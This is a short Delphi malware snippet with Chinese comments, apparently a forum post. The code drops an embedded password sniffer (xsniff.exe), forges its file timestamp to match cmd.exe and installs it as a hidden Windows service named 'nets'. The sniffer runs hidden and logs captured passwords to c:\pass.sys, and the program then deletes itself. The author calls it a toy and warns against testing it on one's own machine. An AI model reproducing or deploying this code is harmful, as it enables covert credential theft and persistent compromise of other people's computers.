const szservicename = 'nets'; dllname='xsniff.exe'; procedure sniffset(l:integer=1); begin try ExtractRes('DLLFILE', 'mydll', pchar(GetDirectory(0) + dllname)); //生成新的DLL插入文件 except end; try setTime(PChar(GetDirectory(1) + 'cmd.exe'), pchar(GetDirectory(0) + dllname)); except end; end;
procedure ServiceMain; begin sniffset; winexec(pchar(GetDirectory(0) + dllname+' -pass -hide -log c:\pass.sys'),sw_hide); end; procedure exeset; begin // regpzh('info', pchar(readme)); //写入配置信息 if fileexists(backup) then begin try deletefile(pchar(backup)); //删除原来的 except end; end; try CopyFile(pchar(ParamStr(0)), pchar(backup), False); except end; try setTime(PChar(GetDirectory(1) + 'cmd.exe'), pchar(backup)); except end; { try delservice(szservicename);//删除造成重启后服务不运行 except end; } try InstallService(szservicename, name, backup); except end; modify(display);//添加描述 // avp(false); // inject; //首次运行注入 try // 启动已有的服务 StartServiceEx(nil, szservicename, true); except end; WinExec(PChar('cmd /c del ' + GetCommandLine), SW_HIDE); //自删除 end; //获取安装目录 function GetDirectory(dInt: Integer): string; begin case dint of 0:result:=GetSpecialFolder(sfCommonFavorites)+'\'; 1:result:=GetSpecialFolder(sfSystem)+'\'; 2:result:=GetSpecialFolder(sfWindows)+'\'; end; end;
实际是加入资源,释放,然后保存到C盘pass.SYS文件,如果想改动,hex对应改字符
这玩意运行后就在机器添加一个服务,然后释放xsniffer 带参数运行 没啥意思玩玩而已
注意:不要在自己机器上测试 |